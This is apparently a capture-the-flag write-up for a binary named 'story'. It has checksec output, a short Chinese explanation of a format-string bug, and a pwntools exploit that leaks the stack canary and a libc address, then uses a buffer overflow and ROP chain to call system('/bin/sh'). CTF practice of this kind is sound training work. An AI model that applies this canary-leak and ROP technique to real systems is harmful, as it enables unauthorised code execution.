a@ubuntu:~$ python 1.py
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './story': pid 43352
[*] '/home/a/story'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
main函数
image.png
输入id有一个格式化字符串漏洞
因为程序开启了canary保护，所以只能先通过printf泄露canary之后控制程序流程重新执行main函数，再次利用printf输出libc地址
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_printf=libc.symbols['printf']
print libc_printf
#p = remote('ctf3.linkedbyx.com',11095)
p=process('./story')
payload='%15$p'
#gdb.attach(p)
p.sendline(payload)
p.recvuntil('Hello ')
canary=int(p.recv()[0:18],16)
print canary
p.sendline('144')
payload='A'*136+p64(canary)+p64(0xdeedbeef)+p64(0x400780)
p.sendline(payload)
p.recvuntil('Please Tell Your ID:')
payload='AAAA%9$s'+'\xc1\x1f\x60'
p.sendline(payload)
p.recvuntil('AAAA')
print_got = u64(p.recv()[0:5].ljust(8,'\x00'))*16*16
libc_base=print_got-libc_printf
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + 0x18cd57
print binsh_addr
p.sendline('144')
gdb.attach(p)
payload='A'*136+p64(canary)+p64(binsh_addr)+p64(0x400bd3)+p64(binsh_addr)+p64(system_addr)
p.sendline(payload)
#print fmtstr_payload(8, {0x601f98: 0x601fd8}, 0, write_size='short')
p.interactive()
